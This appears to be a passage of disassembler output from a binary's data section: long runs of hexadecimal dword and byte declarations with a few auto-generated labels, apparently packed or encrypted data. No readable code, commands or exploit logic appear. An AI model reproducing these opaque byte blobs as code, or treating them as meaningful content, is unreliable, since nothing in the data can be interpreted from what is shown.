0E7C8F3E4h, 140E1A10h, 0BC018D8h, 0F9F9E41Ch dd 3E2079F9h, 137C2410h, 2C0CC828h, 0AE1C0D9Ah, 84766385h dd 0CC3A5D02h, 0FD0A6685h, 2C144ADDh, 1BADEED6h, 38B1E64h dd 68A17C20h, 4207890Eh, 0D8F9F4FEh, 4780804h, 6EB3D89h dd 0B03E42C6h, 42A75B01h, 0C77F2E91h, 8E832F00h, 69C6B5Dh dd 59344B18h, 0DED94222h, 1C2C0B6Bh, 9F186303h, 3A9BB438h dd 8FDE02EBh, 9BE56B5h, 58878CF7h, 0A24CCEDFh, 0DBB60C5Ch dd 0B893319Bh, 834B584Eh, 21610C7Dh, 0D2C190FFh, 753E7883h dd 0EBCE2E9Dh, 1840C71Eh, 0A7B1157Eh, 20155603h, 0E0D22F35h dd 592A5E78h, 10021840h, 7EF7CC78h, 1850AB52h, 6D60158Ah dd 0F62EB2A0h, 72854A22h, 8C587356h, 74EB53C6h, 0EB36B2A2h dd 1CC631ECh, 75DE56DDh, 6C06285Eh, 0AA37DEC8h, 5828340Ch dd 23C36B72h, 57F85DE2h, 1183E04Eh, 8F68C0B5h, 79D2FC72h dd 0E9FBC52Eh, 548FE4B7h, 6005EB7Bh, 568D72B8h, 740C5564h dd 89BFDB7Fh, 0F0EB367Fh, 647E80h, 53684E37h, 8B60518Bh dd 305A6A41h, 0CE91B52h, 8AFFB81h, 0A90DAE07h, 0CFA285C0h dd 2C0375D8h, 0A5F4ADB2h, 0B8105866h, 8428B18h, 95C8070Bh dd 5B734834h, 1830FCA9h, 29EB1EECh, 0CDD08A10h, 5C04617Dh dd 0D402E0ABh, 774CFEBBh, 0F8190F09h, 533F5F2Ch, 0F2C41E3h dd 85D8FC48h, 0FFFCAEDBh, 55F1D5DFh, 0FA811029h, 40010008h dd 718D4775h, 247B8D0Eh, 8BA566A5h, 0AD5B1028h, 5C300715h dd 90542B76h, 8369F3DEh, 3019C463h, 0EB1DAEDBh, 12201A0Ch dd 0D6EDC1F6h, 409660Dh, 0A1140766h, 0DD0B2920h, 0EBED9E95h dd 18094E36h, 66AB4DD6h, 352BDBABh, 3E2A07F3h, 0B1F42F6h dd 3056CED8h, 0ED0C2714h, 7CDB1A93h, 140A1194h, 38BC5251h dd 0DBC3DDDCh, 0AF930CE0h, 708D3D10h, 7029614h, 0D9D33308h dd 0DE8D5967h, 212A1C87h, 555908Bh, 7B216FB2h, 50D77105h dd 2022EB58h, 6D03FDBh, 8B921B0Fh, 21833052h, 164C50F1h dd 694CB87Eh, 513C5037h, 25833C04h, 80F85223h, 183A0099h dd 0ACAF4F23h, 8BD33CECh, 1DCF0BF1h, 0B905109Fh, 9688F93Bh dd 60A5FCF0h, 0C732943Bh, 788D5280h, 0E7D3BC4h, 407CA25Fh dd 8B409700h, 69FC3C47h, 708499E8h, 576CD308h, 35A1DA8h dd 0E31CFEE7h, 7241D88Fh, 2A528AD7h, 3118EBD7h, 2461708Ch dd 0C3D200Fh, 9DF2477h, 0F4BE0C2Fh, 3748A73Fh, 0F4BEEFE3h dd 7D89CF4Ah, 3ADCB8F7h, 0B6B6FB5Bh, 0B40118F8h, 41F6FCE7h dd 0BB9AD7E1h, 0A6B674FBh, 0EDB376F3h, 3A19481Bh, 447F839Ah dd 61D051E2h, 0C1166336h, 311644D3h, 52D195B2h, 0F60D8BE5h dd 0E3A2BA28h, 0A71E56D3h, 54AA6076h, 0A374E022h, 0F97FFF61h dd 3A6253A9h, 8BC14D8Bh, 74D28511h, 8BC28B06h, 83F6EB10h dd 0AE16C6E0h, 53B4F47Bh, 8EEB0AA8h, 2D58EE2Fh, 830CA64Bh dd 82801A20h, 13297476h, 5114A0CFh, 9005EA84h, 425638C3h dd 143F964Dh, 0F76BEFEFh, 8699FF0Bh, 0A06BAD0h, 7C506046h dd 0BB07BC63h, 0A839868Ch, 0F4B3D3BAh, 0C10E334h, 0A2246467h dd 21A7923Ch, 13F07723h, 5BF86C03h, 6A5C7BDCh, 5A03FF0Dh dd 0A58B1975h, 7C112C4Bh, 44A750A1h, 19722D77h, 0B6FB5BE5h dd 4B030667h, 591CEB2Ah, 8B0A7318h, 2376CF48h, 1477CEF8h dd 0EB4F0573h, 8401D13h, 0B41AD02Dh, 0EB232C66h, 0EADC1BA9h dd 8B2C0BD5h, 7B360214h, 6739C1F6h, 8FC16BBAh, 0DC108410h dd 0DCD85F13h, 0A508B336h dd 7F762018h, 0F8207D02h, 45F2D2Dh, 0F4658314h, 0FFFE6234h dd 0DBBF0D76h, 4D688940h, 3DD95018h, 1C7D39C3h, 0E8609773h dd 2BC7EB1Bh, 0A2B11C45h, 0FD3AB04Bh, 0FF404321h, 0DF7C3873h dd 0EC9EC567h, 538A2446h, 0F8992740h, 0A0D7F80h, 0BA528B80h dd 0C9F4752Bh, 4F7815B2h, 343BC24Ch, 360580ECh, 34264036h dd 65D81D66h, 0B35E2475h, 0BA68EB5Eh, 46A16B41h, 37C98568h dd 0D855C0C1h, 834FEE51h, 0A949F179h, 746152E1h, 54084925h dd 6359B289h, 0E2E7C5CBh, 850B7814h, 14F80FDAh, 1A1C6080h dd 55364C78h, 0E0A5F621h, 82A5F302h, 0A4F303E1h, 0D2701Dh dd 8D0442F6h, 3D1A107Ch, 0FC07DB07h, 8318B334h, 0CE4D4860h dd 1B694408h, 88251763h, 1055CF83h, 0BBB9258Bh, 838DF01Fh dd 113C4A73h, 5404289h, 1B133ED4h, 0A00B3C69h, 872D08C1h dd 93AFB630h, 0F424CE2Eh, 23AEF477h, 0C1C0999Ah, 8448D83h dd 6085E4Ch, 26291F43h, 0D8367075h, 0E8F2D920h, 74ECE8EFh dd 0E96C3E38h, 7E514848h, 0E6DF1CA2h, 5C73F46Eh, 342E5453h dd 0DB482C44h, 44A95588h, 70BF208Eh, 3B156D27h, 0CD0B3F7h dd 3A3C3971h, 375BA474h, 60DFA6CCh, 4049D341h, 3A46B2C3h dd 358BC4D8h, 0C8AAD602h dword_444804 dd 9EC34200h dword_444808 dd 0D308BAD7h dword_44480C dd 0D634068Ch dd 4A376B29h, 9C2C643Fh db 0F0h dword_444819 dd 0B805EB30h db 16h, 1Ch, 20h dd 0E12CD023h db 1Ch, 9 dword_444826 dd 8716C84h dw 3483h dd 88940415h, 9C0CCF23h, 0F6CA5726h, 902342Ch, 3F0C3157h dd 5AC1C153h, 0EB1B75E9h, 0EC35DB14h, 0ACD98BC0h, 2B2075BEh dd 93A572DAh, 0D8835713h, 12F8FBA4h, 2C1054DAh, 22B7452h dd 0B4D9F161h, 75B02DCDh, 596CB23Ch, 303C6DB6h, 24282C02h dd 87B06EEDh, 2C107485h, 622D2CE6h, 1A05AADCh, 3AD08351h dd 99D6F82h, 0AC28BFFDh, 24FB70Fh, 469AF528h, 3DD728FAh dd 4B63610Eh, 0BBF65BC6h, 28399D21h, 0B7095AA0h, 34080E15h dd 0E6631181h, 1F1DE5D6h, 0CA830A02h, 8B9EEBB5h, 60168AB5h dd 0E6201559h, 1CCC4388h, 803BE001h, 89C06F6Dh, 59890B71h dd 78C91804h, 4F61D813h, 22C857CAh, 1548701Bh, 1372078Bh dd 36D8C45Ch, 3B04B94h, 0DB6CB22Fh, 42A72D1Bh, 20056A18h dd 0ADC47E5Ah, 34883BEDh, 3B81048Bh dword_444914 dd 0B35C7EC2h dword_444918 dd 578DF423h dd 740368EEh, 0E9BE530Bh, 1BE75681h, 39E4403Ch, 0E88FFD15h dd 250F8503h, 8E22378Bh, 77A13D6Ah, 59A25861h, 8B01A000h dd 0ECA8D4B3h, 8BEF8DDDh, 0EBDC8905h, 6043240Fh, 0D0211C6Ah dd 0DAB01B7Eh, 313990BEh, 3766CEBFh, 758A156Ah, 0B9EC6316h dd 1DF0333Bh, 36EC6E23h, 4D738B71h, 9641835h, 7B574D77h dd 0B65968DEh, 4C300558h, 1830B454h, 0CB2E461Bh, 480C18D6h dd 50AE545Ch, 5979EC19h, 1A125C34h, 0FE1DB754h, 0E80DBBAFh dd 59D8C90h, 44538904h, 1C4800C7h, 1A7D2BA3h, 0C63B0129h dd 0DB0293BEh, 7018EA44h, 67B43C7h, 0B7631E53h, 8EBA2210h dd 0F5C03EA4h, 0C6063B96h, 0C34214Ch, 0A0E51284h, 146130B9h dd 3548845Dh, 26D721BBh, 0E80E2A35h, 58C90729h, 0A6B259F7h dd 6B570A78h, 8A846891h, 7B1875B5h, 0DE006E0Fh, 6FD40A29h dd 8D1B6A1Ah, 759107Ah, 58E02C9Fh, 0F3E14D18h, 1D7C06BFh dd 5109C92Eh, 50984E10h, 1A3700A0h, 3243B799h, 326B8632h dd 0CE0CFC46h, 8CA64D4Dh, 5BA36039h, 320AB466h, 0D70D6DB6h dd 31AA640Ah, 597A084Ah, 0DED8FB77h, 0CA664AD1h, 4B14AAE0h dd 0C0857132h, 68118142h, 0A8939C0Ch, 5C47AB5Fh, 0B98F0C60h dd 0CB428E14h, 84F2D3h, 3B193153h, 0BB800E84h, 278A605Ch dd 0A46ECCECh, 8066E290h, 0A4E5C8Dh, 6E414567h, 8897C4h dd 300C88FAh, 0EC819125h, 0C41D1038h, 5725CC2Bh, 6807BF12h dd 4B9AECDh, 0C3BAFF33h, 9680D9E6h, 4DCDAD8h, 3E6C9EFCh dd 0CC8123Bh, 10CC0ECAh, 910B18D0h, 1AD27CD9h, 66F820D4h dd 6DD02894h, 0E213E003h, 0D40FD22Ch, 531740D5h, 83056A2h dd 28656DA0h, 5D8D57C2h, 365B6199h, 0A1ED6A7h, 580C81C8h dd 11CB21B7h, 0C83BD0h, 6C8B7D05h, 0D83B180Fh, 8C3DB611h dd 0EE228478h, 0BA1F6F3Fh, 4B809ECh, 0C8DF820h, 19E7C17Fh dd 0EEC42DB4h, 0D521C448h, 0F4DC0744h, 0EFACE877h, 0BF773A56h dd 45818953h, 6DC608Dh, 0E0B541D1h, 0DE8C00F6h, 5B17A096h dd 318BE04Dh, 81C1287Dh, 0AC99A045h, 0BBB9A2AFh, 0B60DFFF4h dd 0C2FF50BAh, 0B873738Dh, 9A2E8932h, 8DDF006Ah, 0E5B5F87Ah dd 0F86675B6h, 408830Dh, 0FB02EC03h, 0F4D68E96h, 14279D06h dd 0B41BE901h, 176E6DF0h, 377B85B2h, 14F05Eh, 1E19B946h dd 0EE150CFFh, 93A00CFEh, 89CABBA0h, 51E35F38h, 0D41C31C6h dd 6AE2797Bh, 718B8C6Ch, 0E00F4D73h, 0D3591B0Fh, 0A239A32Ch dd 0C321C363h, 0C1A1EFBh, 2B5AD113h, 140D7128h, 7341828Ch dd 43836426h, 17750EBAh, 8A80EE0h, 38359783h, 4C0D5B9Ch dd 0D2F89390h, 28481A9Bh, 1147B81h, 775FCC4h, 0D834ACB8h dd 37EB2AA6h, 45B95746h, 3C5278A4h, 4C05309h, 5A01BD53h dd 2F874073h, 0F14CD968h, 0BDFDC468h, 1D6A5F9Bh, 4C8BBF3Bh dd 93A354BEh, 6147981h, 0AE00A17Fh, 208D6D01h, 5DC3881h dd 54D00576h, 1B1B68h, 725E2C06h, 0A39DDD3Ch, 665D142Fh dd 11283029h, 9B584A19h, 2106EA9Ch, 611BA58h, 18715164h dd 700E0EE8h, 117F6749h, 9B7F0802h, 7EE08558h, 4A742705h dd 52211D28h, 8D4D10B9h, 7D49C87Ah, 8C0C7668h, 57841446h dd 0AB7EA439h, 895F182Bh, 1E8B1046h, 0FC0E07Ch, 0C3815615h dd 5E551DFAh, 21FF87B9h, 0C3835607h, 0B8ECEB60h, 95ED519Ah dd 0D64B1819h, 74825373h, 0DACCD57Eh, 77E43457h, 830B89A5h dd 4376320Eh, 478D47AAh, 36FF477Fh, 0CC0BEC90h, 1840F180h dd 83814789h, 9E970787h, 579E7C57h, 5A2DBD60h, 3E8750ACh dd 57D68B4h, 3CA39098h, 0E0663C6Bh, 83F06E81h, 79FF04C6h dd 0C499375h, 3218BE45h, 0F658102Dh, 2CD8901Eh, 50BE9C71h dd 480D8B46h, 0FFBFEED0h, 8A147D0Dh, 3B09B8D0h, 541588C8h dd 6557407h, 3E1A2DFFh, 8BC459EFh, 75DF3B09h, 4D1314F3h dd 79D61B94h, 976F9B53h, 0F98C359Eh, 47754C56h, 3844F01Eh dd 584B5410h, 184503E1h, 0C4DE1A57h, 0D7CA06C3h, 340125FDh dd 10F75025h, 161CEB97h, 8C102E18h, 928733D5h, 18D12644h dd 83553AB6h, 0F8400814h, 2F05A142h, 0EAB1CAA9h, 0AB70BFD0h dd 7C75899Ch, 4E8DF250h, 0EE55890Eh, 0ED1B7558h, 5A3D35E6h dd 9505B80Ah, 8083B082h, 518C49BAh, 0C107B99Ch, 0F558101h dd 9B059786h, 8F0483A0h, 748EEA4Eh, 7EC0E52Ah, 80350F60h dd 61F1A74h, 0A3162ACAh, 8953270Ah, 54F7C02Ah, 77C92826h dd 4A7461E1h, 74F4469Eh, 0A9649D12h, 47388C58h, 0B7E0F458h dd 30F40064h, 98430C4Fh, 278DCA55h, 1F7827D0h, 0A23DD7BAh dd 104CA1BCh, 422A7A03h, 0E045C7A9h, 8A84081h, 5414B0DDh dd 8E76E58Ah, 3772D6DFh, 0D3FF2DA3h, 0E6A1FB9h, 3447B42Eh dd 0D60A238Fh, 56C51E41h, 5921ADA2h, 36108731h, 6EB78057h dd 0F04BD1Ch, 37445015h, 517F3AD7h, 0B0FA0C09h, 99A266D0h dd 4C53048Ah, 37BE87D5h, 6FC25A90h, 0B2FFD3A4h, 0C10D10C7h dd 1FEB343Ah, 0D9515252h, 7D6A78C1h, 56D95138h, 0EC90830h dd 5653BF03h, 251FA534h, 0B000E002h, 1C27E78Ch, 0E53AA1D4h dd 2D6DBF80h, 0B31EA3Ch, 0DC68870Fh, 880C60F3h, 4D94771h dd 5A10395Fh, 0AE1A4D98h, 23FCD008h, 0C86D781h, 0F011FC59h dd 0C9C8726h, 0FCF8E442h, 812B3BFCh, 8F5D3A2Dh, 1EE155D2h dd 4B0C00C6h, 0CC9D82Ch, 80C81C8h, 9193DD08h, 0F1463E5h dd 0E408F808h, 0F8F25388h, 8DF84E8Bh, 1D6803B3h, 55DB93E2h dd 0A6838808h, 9A5E599Bh, 42D42A0Fh, 84A8908h, 0AF1C019Eh dd 65147111h, 6F19B82Bh, 7F45E992h, 20D5C70Ch, 4CC803D6h dd 0F2D2C245h, 0BAF3E010h, 770C7E38h, 2103941Eh, 1131089Fh dd 212162CBh, 56D48A17h, 97EBE21h, 347C5039h, 0C2D8F3C9h dd 4DA2D73h, 0BEC0177Fh, 449C481Eh, 0D74CEE1h, 7B7091D9h dd 0C2E36F89h, 67B89374h, 740C203Bh, 360F3508h, 8FECAB77h dd 9658D8EBh, 99219F0Ah, 431F07B2h, 0E411241h, 0F5C2581h dd 0F46D93FEh, 3775981h, 0D7586043h, 3490C197h, 4476CCC3h dd 21D9B0AFh, 98AF6D3Bh, 401AA3ECh, 95C009Ah, 683DEC75h dd 5D4E1584h, 1C90EDB7h, 0A264A16h, 69362E3Bh, 9B08B19Ah dd 0F30CDEF2h, 1C90C6Dh, 581B0D29h, 933491A7h, 3DDBEFDBh dd 44C29847h, 8DF586E9h, 0CF0E4430h, 2A2D1669h, 14E30C99h dd 0DDC07553h, 140773B8h, 727E8060h, 0D21A4E75h, 8756E82Eh dd 95D23339h, 0C793074h, 48C4B1CAh, 4DB94DC0h, 7AB7F76Fh dd 0EC588B16h, 0E3811058h, 8C4C0FFFh, 7508060Bh, 0C9B1B6Fh dd 47D1037Eh, 6B1ED24Ah, 7EE82DF5h, 1689B914h, 5A9246C6h dd 3B78FDB8h, 0EB145405h, 48C8DE03h, 5C197649h, 925A7523h dd 3A105801h, 6FB76B2Ah, 4FFC8C36h, 6683EA75h, 86668079h dd 5024B619h, 17C2521Bh, 0C4B6183Ch, 56BA0217h, 71105D39h dd 9F2BCB18h, 3E34C17Dh, 8B08CE08h, 9CDF4571h, 75615D75h dd 14D214D3h, 1C593858h, 0BB5B5075h, 1D41C16Dh, 4CEF85Dh dd 976FDF08h, 50F3CE6Ah, 55014814h, 0D2D33BF8h, 4E476B5Ah dd 9418EBC8h, 230CEA13h, 0EFA5A6D4h, 0B3FFFAB6h, 39D3CAEBh dd 0FA8F1421h, 56F61FDh, 0D641C604h, 646F616h, 0EB0CDC05h dd 878AE75Bh, 0E48EF84Ah, 0E5C06056h, 0A86C5AE6h, 0AAADE114h dd 0B2AF0089h, 2D6B77DDh, 0F33B368Bh, 3C7C74A5h, 77EDCFEBh dd 743E754Bh, 1472553Dh, 0C28B0277h, 0B76E0629h, 0D02BDF0Bh dd 0EB970413h, 0A0744DA4h dd 2B76101Bh, 0EFD68617h, 0D2F3DB04h, 68DB6B3Dh, 0D4D9AD03h dd 29CB270Ch, 0AB9AB412h, 2CC22A18h, 0DABB4820h, 11011586h dd 4B4E8637h, 0AAC243B5h, 658714CAh, 0AB1F6F46h, 66A57BDh dd 0FE8B1459h, 0E340B856h, 2991B410h, 6ACC2D0Dh, 0C4A3EECDh dd 6614A06Dh, 0B302B615h, 41E08812h, 0D7506202h, 9C533C50h dd 0CC0CEE02h, 8D1EFE6Fh, 0D066087Eh, 5459C01Fh, 8AE8EB46h dd 0DB806956h, 2ECE0F7Ah, 0BD3114E5h, 1DD6CCE7h, 20F45406h dd 2DD81E68h, 9DB0CF64h, 101D61h, 36A91A65h, 0EE5A5540h dd 2D54B4BDh, 34FD6F46h, 0A02CB7FEh, 9FF98C8Ch, 0D6ED6FF3h dd 0D19AB854h, 75273FF9h, 8EC03EDAh, 3C5F8207h, 0B8539351h dd 170E42D4h, 575BAB37h, 1B6ABABCh, 0B249BE72h, 0F736DF87h dd 190B6803h, 0B1FC0F9h, 473C8C02h, 0D2C446h, 18888EC8h dd 85CC8CFCh, 8DED02CBh, 0B3F803C6h, 24C19C36h, 1B456C1Ah dd 81BD6306h, 0D19A3F17h, 4D770127h, 8B42987Eh, 40B06F90h dd 0C33FBBDh, 0F714C183h, 0F1B6CDE9h, 458853A8h, 14756E0Fh dd 0B3844733h, 8A74477Dh, 0A4170F4Dh, 31F62032h, 0AE622570h dd 0BED052B1h, 6D80B806h, 8109B364h, 701F29A3h, 82FB1DB2h dd 49E80C79h, 0BE43D1CEh, 53524194h, 746A705Bh, 0B9E0A455h dd 147E08B1h, 5BBAF89Eh, 201CD06Dh, 0F61122C4h, 76206023h dd 0C7E0E82Bh, 180305D8h, 89EF1780h, 2F6CE51Eh, 9076C0F0h dd 71FB3B8Eh, 47B7D1B7h, 7BE39A02h, 8B2B548Fh, 0CCFD5A9Fh dd 87880C97h, 3B0B0208h, 1EF012D8h, 0EA222335h, 0D4284619h dd 0F54BEC64h, 4C22F31Ah, 1F802142h, 5B332053h, 83011173h dd 9C088596h, 6815881h, 0D1D0431Ch, 99B36216h, 0BD1E4B4Dh dd 464646D4h, 94D8FC46h, 0F6161FDCh, 0CBB30D46h, 0BD8D69A5h dd 8BBF61EFh, 0C54D89C7h, 0BBBF188Bh, 5781A305h, 65CC7EA2h dd 11A508ECh, 893DCA94h, 6F263E37h, 496C1B9Dh, 2EC0F1Ah dd 6831FFB6h, 1135B3ABh, 0F0415006h, 6C5EF7FFh, 278303FBh dd 59F093A2h, 403FBFA5h, 0ABB73988h, 0FFFE1A53h, 0B30833FFh dd 9F4A8A21h, 850A9024h, 4657E943h, 54212DC6h, 1F99EBB0h dd 0E016D17h, 3F88B297h, 3A31756Dh, 8A48051Eh, 6CC68989h dd 0F5484851h, 92FFED8Bh, 246E279h, 306B38BFh, 6BD78A30h dd 63435EEh, 8A810C05h, 0AD93976h, 0F3BB3CCFh, 1C231C03h dd 565ADEE1h, 0AC6A05FEh, 3B7593A3h, 3140A193h, 4513291Bh dd 0A308200Bh, 0AD46CE14h, 4BC38BFBh, 0A692C123h, 3670143Ch dd 0C3946CA1h, 0B66C2EFBh, 728AE742h, 43D8AA1h, 0C4CD86DAh dd 8AD04BF6h, 6054F28Bh, 5CE13300h, 6FC34A65h, 494C3580h dd 884D3890h, 0DE27B0D9h, 234E06C7h, 60F73F30h, 52810106h dd 363C05F5h, 0C7201118h, 40C36245h, 8880C032h, 0A21A4CF4h dd 47C7B0EBh, 6591598Ch, 4D6C1283h, 0F6D8721Ch, 740F0A02h dd 0B3C2123Ch, 106B57DAh, 3CCD960Eh, 4F8083E0h, 0E85D807h dd 830B4D1Eh, 540B947Bh, 547C0F08h, 931EE88Fh, 0BBBE2DE7h dd 7502521Bh, 74100535h, 1247F619h, 0BD0B83h, 6A10759Eh dd 30087B5Ch, 0BBB86AC5h, 8FA7F366h, 9A570A75h, 63145A53h dd 228C001h, 58523257h, 0D12961B2h, 0D37B2CD0h, 1D0C639h dd 868B7174h, 0EC6419CCh, 534F274Bh, 0CBCD9E8Dh, 19219086h dd 86868E19h, 0E464EEFh, 545BCB96h, 57137501h, 0AC5D25B1h dd 4ACB656h, 28E6E7ABh, 57B0154h, 919102CCh, 0C4C89191h dd 9191BCDCh, 0B4B89191h, 9981D0C0h, 0D8D49191h, 452800E0h dd 0FFC8C9h, 0E886EDE2h, 0BAE9049Eh, 5686F000h, 70BFC223h dd 1FB3621h, 0E5A4DBAh, 33C708Bh, 8DB454C6h, 641BC1Ch dd 0D16F0010h, 386ED7C2h, 635EE0EBh, 0DD221A01h, 1426FCBAh dd 7C0B1790h, 7A4A76F1h, 7F071D7Dh, 7FFADEE8h, 188AC203h dd 1E3ACB8Ah, 0C9841A75h, 1588A30h, 0BB715E0Ch, 905D5015h dd 75114646h, 5A3FFE2h, 1B05CF76h, 1B4FD840h, 2204583h dd 42A68183h, 723CC78Bh, 0C5FC3B96h, 727AB357h, 0EE4A33BCh dd 0F06A2D20h, 0F0CAD8Fh, 0F22B00B7h, 0D4455D8Dh, 30B5B882h dd 4EDF8106h, 0FA2BDAAAh, 64410C53h, 317061h, 0F452B5C8h dd 0F040313h, 0A5FB0ED6h, 636F743Bh, 44176C6Fh, 53301912h dd 671752F4h, 6778F142h, 0D55677C1h, 0BC4B4D94h, 0BEC6480Eh dd 0A940912Bh, 2811D0Ch, 0F4E4562Ah, 0BED55787h, 387870B0h dd 0F2032016h, 0B157AECh, 244E752Dh, 74032C8Bh, 0A3A05DFAh dd 0EC5DB0DFh, 53C3200Fh, 0F4FFF3Fh, 62160122h, 510F486Bh dd 0D4507620h, 9E56C14Bh, 3468839Eh, 0A96A382Dh, 1A57DA3Eh dd 481CA331h, 5D12B0F3h, 48169420h, 1C85CF20h, 8760C214h dd 1872177Ch, 0A37862ECh, 50CEB347h, 895B923Eh, 2B66B588h dd 2271055Eh, 210E2301h, 5FFB67DEh, 1807F174h, 0BB2FA1E9h dd 0C76F1463h, 24053F95h, 0F7505C3Dh, 4400D15Bh, 69007645h dd 5C076300h, 6DDDC289h, 730B6487h, 0AE077200h, 1B9B75D7h dd 6D030B61h, 7203741Dh, 3C5D631Bh, 558CDF20h, 0C117633Bh dd 651F748Dh, 179B216Eh, 506DCF7Dh, 752ED49h, 426F6300h dd 37CC0DB6h, 275C0D69h, 119440B3h, 18866CA9h, 0D0BDB432h dd 0A8685CF0h, 5E50092Eh, 186809E2h, 53B281DAh, 6D4F721h dd 4B501256h, 5A28261Ch, 8E25A86h, 0ADDA9583h, 0D85B7F6h dd 0C4AA5807h, 53944D22h, 3BFC6851h, 76D6EE6Fh, 88982094h dd 60DC89Ch, 6206FEB0h, 0B43EE6E4h, 0B8142F14h, 2DB6C0E0h dd 288FF6DBh, 0D4D002CCh, 0C7E2057h, 0E83EE688h, 402F0C68h dd 1B2F7379h, 241816C4h, 38568B1Eh, 1501DE6Ah, 0FA8B1BE2h dd 0B859A146h, 0DE0071Ah, 0F716D16Fh, 920920B8h, 289345Eh dd 5E8BF570h, 868940F2h, 5478464Bh, 22C11563h, 0FFB894FAh dd 7447EECEh, 0A3045868h, 0D6FF0E6Ch, 0C88648B8h, 50157CF3h dd 1CEA484Ch, 53C1D0F4h, 0F329CC6Ah, 736F4DECh, 5951833Dh dd 402FF396h, 0F1F06834h, 0C4F07651h, 12F0980Ah, 140D0FA0h dd 7A32D453h, 0D84A06D9h, 1330CC12h, 65E53330h, 0E0C3031Dh dd 34564430h, 0C9A0302Ah, 0FD2B02B4h, 0C81F5064h, 0D3654B01h dd 6E697053h, 0ADEA0C4Ch, 21177451h, 0FEFB4901h, 53FEDDAEh dd 6F626D79h, 1A4C631Ch, 52039417h, 75516C74h, 0B6B36A89h dd 749790Dh, 92550861h, 1B3173EDh, 77A89543h, 5C642BB6h dd 0AD542B56h, 4964506Dh, 6B29162Dh, 9566FEAAh, 6D6F4366h dd 64656C70h, 92DB3E71h, 0F7F3951Bh, 0C0634200h, 4A68A0C6h dd 0B517FA5Ah, 49F24DF6h, 455D376Eh, 0A1257E3Ch, 0D75E85FAh dd 95735002h, 0B3B09F6Bh, 5422BD27h, 1B6E416Fh, 65176B8Dh dd 4DEA330Eh, 0C7BFF264h, 24E7EB6h, 0EC4D6D4Dh, 61506B4Ch dd 2BAD767h, 0E07B9AA8h, 1E66624Fh, 5E7E0366h, 0D44DB358h dd 1452B517h, 0DAA17942h, 4541AACEh, 55EE7801h, 17D9F6C3h dd 13707954h, 955369F9h, 5186DFFh, 6B736F1Ah, 2E6C6E72h dd 0E12E7865h, 4BB536D6h, 61384B66h, 364F8273h, 13EFC973h dd 75716341h, 8507269h, 0DB42ED77h, 724973DEh, 0D48AD71h dd 3369613Eh, 7B70B6BBh, 7044D40Dh, 175D65A3h, 8B14C41h dd 7495517Ch, 64B5DBC1h, 76AD5567h, 5B22DC11h, 74E2DAA9h dd 27158B50h, 0A870DDCCh, 7542BDFEh, 0C819D466h, 2CE42581h dd 49602933h, 725F4B0Eh, 0EA8D0C45h, 7241006Dh, 85C5BD63h dd 0A3D6DAF6h, 33226EBAh dd 2AAB36EFh, 0AE69B7BCh, 33011F00h, 6C3DE4A0h, 36E55ACFh dd 6F427441h, 92B72625h, 9599802Dh, 0DD662B2Bh, 5665488Dh dd 6D3C7970h, 87642215h, 751D1415h, 1F491AF9h, 532E0D89h dd 0C8A15359h, 1D5F14Ah, 17B61889h, 0E690072Dh, 4193001h dd 0B2C95B48h, 4C04F14h, 0C0D74313h, 9D56B453h, 0ED45055Fh dd 40D034CDh, 0B34FAB53h, 788B055Fh, 0B46B9FEh, 0EF04BD4Fh dd 0C36D03FEh, 5D452B26h, 0EF473F07h, 17210B4h, 73316319h dd 4F6C341Dh, 35697B74h, 9B074D67h, 6C61AE83h, 660D490Dh dd 0BC40232Bh, 0B93BAEB1h, 7390334h, 0D064C762h, 1E751D75h dd 6D234317h, 0D14B073h, 812073C8h, 18C18861h, 0AF6B6174h dd 4D339B20h, 7D13DF7h, 206F1163h, 0C43D9279h, 7CF76E0h dd 0CC15314h, 533DF6DCh, 5DF34F79h, 0CF9DD637h, 2D4B3354h dd 0D6C056Eh, 0BAE06652h, 7531C307h, 1D8DCF13h, 15119EE6h dd 1544CB47h, 0D7449463h, 7970698Dh, 1F6E2D69h, 0B6F7595Bh dd 21516849h, 5539965h, 36B90189h, 81560B00h, 971C2B58h dd 85EF324Bh, 0D8F30705h, 373135C8h, 4F07002Eh, 0B06665C4h dd 0D561B774h, 0B6EBAF6Eh, 2971E790h, 671B4C2Fh, 0EB1B8429h dd 79930D0Eh, 21A3678Dh, 0D9ECAE10h, 61B2013h, 0A9BA1AEBh dd 30BF3215h, 33092D05h, 8ACEC262h, 54770C9Bh, 0C62F0D30h dd 0C751646Dh, 8F742672h, 29576FB3h, 830B6B7Dh, 0D5CC348Dh dd 934F3E1Fh, 126C0969h, 6E2FE766h, 0C1A461EFh, 79072EBAh dd 500D2057h, 0C6E7C775h, 42576106h, 6F643FB9h, 48BEE8C4h dd 0F6F1F5Ch, 0A2EF4375h, 7745258Ch, 2308BB3Ah, 0E15B6421h dd 0CEE7DEDFh, 7553B746h, 0D2F5695Fh, 0B7C26C61h, 43561F44h dd 0E887095Dh, 84240056h, 0E8C27A6Dh, 1F7315B6h, 409A361h dd 90337FB0h, 0A80315CDh, 34C43380h, 5BDF34D0h, 34FFFFD5h dd 350F34EEh, 352A351Bh, 35A63539h, 35D735D1h, 0FA32A7E0h dd 36FF556Fh, 368A366Bh, 99A4369Bh, 378A3710h, 3846381Ch dd 17FFFFFFh, 0C3385F3Ah, 0FE38E238h, 38392838h, 4B394539h dd 0B6396539h, 0E639D339h, 0FF39F939h, 39FFFFFFh, 473A403Ah dd 553A4E3Ah, 633A5C3Ah, 713A6A3Ah, 903A783Ah, 0A83A9F3Ah dd 0F43AB13Ah, 0FF3B083Ah, 10FFFFFFh, 763B153Bh, 0C3B7E3Bh dd 8C3C723Ch, 93C9F3Ch, 0B03D313Dh, 3A3DB93Dh, 973E803Eh dd 8B3E9E3Eh, 0BEFFFFAFh, 353F043Eh, 623F4C3Fh, 7D3F6E3Fh dd 0F93FF03Fh, 0F27B1084h, 0C066FFFFh, 31053020h, 312A3111h dd 316C3139h, 31893178h, 320C3198h, 0FFFFC002h, 332B3323h dd 33C23344h, 340B33E3h, 34183413h, 0DDFF8F29h, 3458FFFFh dd 34F334C1h, 352134FBh, 352E3529h, 0CB893581h, 35F335E5h dd 361635FDh, 0F77F4623h, 363036FFh, 36413639h, 367C3658h dd 36BADB82h, 384E36DDh, 0FFFF0E53h, 7D38FFFFh, 0B1389038h dd 0B1393E38h, 223A1739h, 683A5E3Ah, 0E83AC63Ah, 283B1D3Ah dd 853B7C3Bh, 0FBBFB73Bh, 73BFEFFh, 703C683Ch, 803C763Ch dd 0E7B9883Ch, 5D3D503Ch, 3E2E343Dh, 0FFFFFE45h, 3E4A3EFFh dd 3E573E50h, 3E783E6Eh, 3EDE3ECDh, 3F6C3F61h, 3F933F85h dd 3FCA3FBFh, 